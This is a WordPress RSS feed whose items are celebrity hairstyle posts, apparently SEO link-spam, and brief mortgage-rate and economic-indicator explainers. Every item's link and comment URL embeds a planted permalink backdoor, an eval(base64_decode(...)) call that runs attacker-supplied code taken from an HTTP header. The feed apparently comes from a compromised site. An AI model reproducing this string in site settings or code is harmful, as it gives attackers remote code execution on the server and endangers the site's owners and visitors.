<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>New Hairstyles, Latest Hairstyles, Hairstyles Gallery, Best Websites &#187; Market Research</title>
	<atom:link href="http://www.grauteam.com/category/market-research/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.grauteam.com</link>
	<description>New Hairstyles, Latest Hairstyles, Hairstyles Gallery, Best Websites</description>
	<lastBuildDate>Mon, 22 Feb 2010 21:51:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Ashlee Simpson Hairstyles</title>
		<link>http://www.grauteam.com/2009/08/17/ashlee-simpson-hairstyles/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2009/08/17/ashlee-simpson-hairstyles/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 17 Aug 2009 21:14:14 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Celebrity Hairstyle]]></category>
		<category><![CDATA[Daily Economic Indicators]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Market Research]]></category>
		<category><![CDATA[ashlee simpson]]></category>
		<category><![CDATA[celebrity]]></category>
		<category><![CDATA[hairstyles]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/?p=356</guid>
		<description><![CDATA[One of the most popular looks for teen hairstyles today is ashlee simpson hairstyles.  She has had so many different looks through the years.  There is not wonder she is such a trendsetter.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.ashleesimpsonhairstyles.com/"><img class="alignnone" title="Ashlee Simpson Hairstyles" src="http://www.ashleesimpsonhairstyles.com/wp-content/uploads/2009/11/Ashlee-Simpson-Long-Blonde-n-Wavy.jpg" alt="" width="400" height="600" /></a></p>
<p>One of the most popular looks for <a href="http://www.ashleesimpsonhairstyles.com">teen hairstyles</a> today is <a href="http://www.ashleesimpsonhairstyles.com">ashlee simpson hairstyles</a>.  She has had so many different looks through the years.  There is not wonder she is such a trendsetter.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2009/08/17/ashlee-simpson-hairstyles/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Natasha Richardson sudden death</title>
		<link>http://www.grauteam.com/2009/08/17/natasha-richardson-sudden-death/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2009/08/17/natasha-richardson-sudden-death/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 17 Aug 2009 21:09:33 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Celebrity Hairstyle]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Market Research]]></category>
		<category><![CDATA[celebrity]]></category>
		<category><![CDATA[hairstyles]]></category>
		<category><![CDATA[natasha richardson]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/?p=354</guid>
		<description><![CDATA[Natasha Richardson recently died as the result of a skiing accident.  She will be missed.  Women in America have been looking for the Natasha Richardson Hairstyles.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.natasharichardsonhairstyles.com/"><img class="alignnone" title="Natasha Richardson Hairstyles" src="http://www.natasharichardsonhairstyles.com/wp-content/uploads/2009/11/Natasha-Richardson-with-Wavy-Hair.jpg" alt="" width="399" height="600" /></a></p>
<p><a href="http://www.natasharichardsonhairstyles.com">Natasha Richardson</a> recently died as the result of a skiing accident.  She will be missed.  Women in America have been looking for the <a href="http://www.natasharichardsonhairstyles.com">Natasha Richardson Hairstyles</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2009/08/17/natasha-richardson-sudden-death/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kate Gosselin Hairstyle</title>
		<link>http://www.grauteam.com/2009/08/17/kate-gosselin-hairstyle/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2009/08/17/kate-gosselin-hairstyle/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 17 Aug 2009 21:06:45 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Celebrity Hairstyle]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Market Research]]></category>
		<category><![CDATA[celebrity]]></category>
		<category><![CDATA[hairstyle]]></category>
		<category><![CDATA[kate gosselin]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/?p=352</guid>
		<description><![CDATA[Kate Gosselin has been become a controversial diva with all her recent publicity.  Women all over the world are looking to copy the Kate Gosselin Hairstyle.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.kategosselinhairstyle.com/"><img class="alignnone" title="Kate Gosselin Hairstyle" src="http://www.kategosselinhairstyle.com/wp-content/uploads/2009/08/kate-gosselin-hairstyle-1.jpg" alt="" width="466" height="600" /></a></p>
<p><a href="http://www.kategosselinhairstyle.com/">Kate Gosselin</a> has been become a controversial diva with all her recent publicity.  Women all over the world are looking to copy the <a href="http://www.kategosselinhairstyle.com/">Kate Gosselin Hairstyle</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2009/08/17/kate-gosselin-hairstyle/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Consumer Market Research</title>
		<link>http://www.grauteam.com/2008/10/13/consumer-market-research/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/10/13/consumer-market-research/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 13 Oct 2008 15:45:12 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Market Research]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/?p=303</guid>
		<description><![CDATA[  Business Market Research &#8211; Redshift provides clear and incisive business and consumer market research and data analysis.]]></description>
			<content:encoded><![CDATA[<p><span lang="EN"> <br />
<a href="http://www.redshiftresearch.co.uk/">Business Market Research</a> &#8211; Redshift provides clear and incisive business and consumer market research and data analysis.<br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/10/13/consumer-market-research/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mortgage Rates Predictions June 05</title>
		<link>http://www.grauteam.com/2008/06/05/mortgage-rates-predictions-june-05/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/06/05/mortgage-rates-predictions-june-05/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 05 Jun 2008 14:02:27 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Market Research]]></category>
		<category><![CDATA[Mortgage Rates Predictions]]></category>
		<category><![CDATA[How Bonds effect Mortgage Rates]]></category>

		<guid isPermaLink="false">http://www.grauteam.com/2008/06/05/mortgage-rates-predictions-june-05/</guid>
		<description><![CDATA[                  June 5, 2008 &#124; Rates are heading up as the battle for the 200 day moving average continues. Mortgage Bonds were absolutely slaughtered yesterday.  The Fannie Mae Bonds opened yesterday at 99.875 and this morning we saw a low of 98.625 already.  As a reminder, Fannie Mae Mortgage Backed [...]]]></description>
			<content:encoded><![CDATA[<h1><img align="left" src="http://www.grauteam.com/wp-content/uploads/2008/05/up.jpg" alt="Rates are Trending Higher" />  </h1>
<h1 align="left" style="text-align: center">  </h1>
<h1 align="left" style="text-align: center"></h1>
<h3 align="left">  </h3>
<h3 align="left">  </h3>
<h3 align="left">  </h3>
<h3 align="left">  </h3>
<h3 align="left">June 5, 2008 | Rates are heading up as the battle for the 200 day moving average continues.</h3>
<p align="justify">Mortgage Bonds were absolutely slaughtered yesterday.  The Fannie Mae Bonds opened yesterday at <strong>99.875 </strong>and this morning we saw a low of <strong>98.625</strong> already.  <strong>As a reminder, Fannie Mae Mortgage Backed Securities correlate directly with Long Term Fixed Mortgage Rates.  Every <font color="#ff0000">-.40-.50</font> basis points Mortgage Bonds move is <font color="#ff0000">+.125%</font> higher interest rate for consumers.  That means if yesterday morning 30 Year Fixed was 6.125% and Mortgage Bonds lost <font color="#ff0000">-125bp</font>, [99.875-98.625] then this morning that same consumer would have +.25% to +.375% higher rate [6.375-6.500%]. </strong>  With yesterdays notoriously misleading ADP report showing growth in employment, investors are looking for a stronger than expected employment report tomorrow.  Bonds are down <strong><font color="#ff0000">-38bp</font></strong> at <strong>98.81</strong> on the day currently with no other important economic indicators scheduled for release.  Consumers should lock in their Long Term Fixed rates in this volatile market and definitely consider 5-7 Year Arms as an alterative to 30 Year Fixed since they have been improving.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/06/05/mortgage-rates-predictions-june-05/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Philly Fed Index</title>
		<link>http://www.grauteam.com/2008/03/17/philly-fed-index/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/03/17/philly-fed-index/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 17 Mar 2008 21:18:48 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Market Research]]></category>
		<category><![CDATA[Philadelphia Fed Index]]></category>
		<category><![CDATA[Philly Fed]]></category>
		<category><![CDATA[Philly Fed Index]]></category>

		<guid isPermaLink="false">http://grauteam.com/2008/03/17/philly-fed-index/</guid>
		<description><![CDATA[The Philadelphia Fed Index is an important survey of delivered the third week of the month that gives a look into the manufacturing sector.  50% is no change.  &#60;50 = contracting.  &#62;50 = expansion.  The Philly Fed Index correlates with the ISM a little over 3/4 of the time and is a key inflation indicator.  [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">The Philadelphia Fed Index is an important survey of delivered the third week of the month that gives a look into the manufacturing sector.  50% is no change.  &lt;50 = contracting.  &gt;50 = expansion.  The Philly Fed Index correlates with the <a href="http://grauteam.com/2008/03/04/institute-for-supply-management-ism/" title="ISM">ISM</a> a little over 3/4 of the time and is a key inflation indicator.  <span id="more-160"></span>The Philadelphia Fed Index has an <strong><font color="#ff0000">ELEVATED</font></strong> impact on the markets.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/03/17/philly-fed-index/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Index of Leading Economic Indicators [LEI]</title>
		<link>http://www.grauteam.com/2008/03/17/index-of-leading-economic-indicators-lei/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/03/17/index-of-leading-economic-indicators-lei/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 17 Mar 2008 21:10:50 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Market Research]]></category>
		<category><![CDATA[index of leading economic indicators]]></category>
		<category><![CDATA[LEI Index]]></category>

		<guid isPermaLink="false">http://grauteam.com/2008/03/17/index-of-leading-economic-indicators-lei/</guid>
		<description><![CDATA[The Index of Leading Economic Indicators is a collection of 10 indicators from all sectors of the economy.  The index is supposed to track trends in the market.  It is only a MINIMAL mortgage market mover because it is highly speculative.]]></description>
			<content:encoded><![CDATA[<p align="justify">The Index of Leading Economic Indicators is a collection of 10 indicators from all sectors of the economy.  The index is supposed to track trends in the market.  <span id="more-159"></span>It is only a <strong><font color="#3366ff">MINIMAL</font></strong> mortgage market mover because it is highly speculative.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/03/17/index-of-leading-economic-indicators-lei/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fed Meeting &#124; FOMC &#124; Federal Open Market Committee Meeting</title>
		<link>http://www.grauteam.com/2008/03/17/fed-meeting-fomc-federal-open-market-committee-meeting/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/03/17/fed-meeting-fomc-federal-open-market-committee-meeting/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 17 Mar 2008 16:57:14 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Market Research]]></category>
		<category><![CDATA[fed cut rate]]></category>
		<category><![CDATA[Fed Meeting]]></category>
		<category><![CDATA[when is the next fed meeting]]></category>

		<guid isPermaLink="false">http://grauteam.com/2008/03/17/fed-meeting-fomc-federal-open-market-committee-meeting/</guid>
		<description><![CDATA[The FOMC is a 12 member committee that meets 8 times a year to decide short term monetary policy.  The Federal Funds Rate, the rate banks charge other banks for short term [usually overnight] money, sets the stage for all rates.  Lower rates result in more liquidity and should stimulate the economy.  Higher rates should slow the [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">The FOMC is a 12 member committee that meets 8 times a year to decide short term monetary policy.  The Federal Funds Rate, the rate banks charge other banks for short term [usually overnight] money, sets the stage for all rates.  Lower rates result in more liquidity and should stimulate the economy.  Higher rates should slow the economy.  When inflation feared the Fed usually tightens their policy by raising interest rates.  The Federal Funds Rate does not directly correlate with the long term fixed rates.  Long term fixed rates enemy is inflation, stimulating the economy can increase inflation risk.  On the other hand, lowering the Fed Funds Rate is a sign that the economy is weak.  A weak economy is good for mortgage rates.  The FOMC Meeting has an <strong><font color="#ff0000">ELEVATED</font></strong> impact on mortgage rates.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/03/17/fed-meeting-fomc-federal-open-market-committee-meeting/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Housing Starts</title>
		<link>http://www.grauteam.com/2008/03/17/housing-starts/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/03/17/housing-starts/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 17 Mar 2008 16:38:38 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Market Research]]></category>
		<category><![CDATA[breaking groung new construction]]></category>
		<category><![CDATA[building permits]]></category>
		<category><![CDATA[housing starts]]></category>

		<guid isPermaLink="false">http://grauteam.com/2008/03/17/housing-starts/</guid>
		<description><![CDATA[Much like the name, housing &#8220;starts&#8221; are the number of residential properties that have began breaking ground [excavation of a foundation].  In theory starting construction usually means that builders are confident they will be selling the home once construction is complete.  This should generate everyone associated with building homes, selling homes, and selling the products that [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">Much like the name, housing &#8220;starts&#8221; are the number of residential properties that have began breaking ground [excavation of a foundation].  In theory starting construction usually means that builders are confident they will be selling the home once construction is complete.  This should generate everyone<span id="more-157"></span> associated with building homes, selling homes, and selling the products that fill the home more revenue.  The Housing Starts are reported near the 16th of the month and have a <strong><font color="#ff6600">MODEST</font></strong> impact on the mortgage market.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/03/17/housing-starts/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Industrial Production and Capacity Utilization</title>
		<link>http://www.grauteam.com/2008/03/17/industrial-production-and-capacity-utilization/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://www.grauteam.com/2008/03/17/industrial-production-and-capacity-utilization/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 17 Mar 2008 15:54:43 +0000</pubDate>
		<dc:creator>Chris Grau</dc:creator>
				<category><![CDATA[Market Research]]></category>
		<category><![CDATA[capacity utilization]]></category>
		<category><![CDATA[fed rate]]></category>
		<category><![CDATA[industrial production]]></category>

		<guid isPermaLink="false">http://grauteam.com/2008/03/17/industrial-production-and-capacity-utilization/</guid>
		<description><![CDATA[The Federal Reserve Statistical Release G.17 or Industrial Production and Capacity Utilization is a measure of the changes in production output for utilities, manufacturing, and mining, and the extent that this production is being used.  The Production divided by the Capacity gives you the Capacity Utilization rate.  If manufacturers are running above 85% Capacity Utilization Rate, [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">The Federal Reserve Statistical Release G.17 or Industrial Production and Capacity Utilization is a measure of the changes in production output for utilities, manufacturing, and mining, and the extent that this production is being used.  The Production divided by the Capacity gives you the Capacity Utilization rate.  <span id="more-156"></span>If manufacturers are running above 85% Capacity Utilization Rate, this can be a sign of inflation.  This report has a <strong><font color="#ff6600">MODEST</font></strong> impact on the market and is released around the 15th of the month.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.grauteam.com/2008/03/17/industrial-production-and-capacity-utilization/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

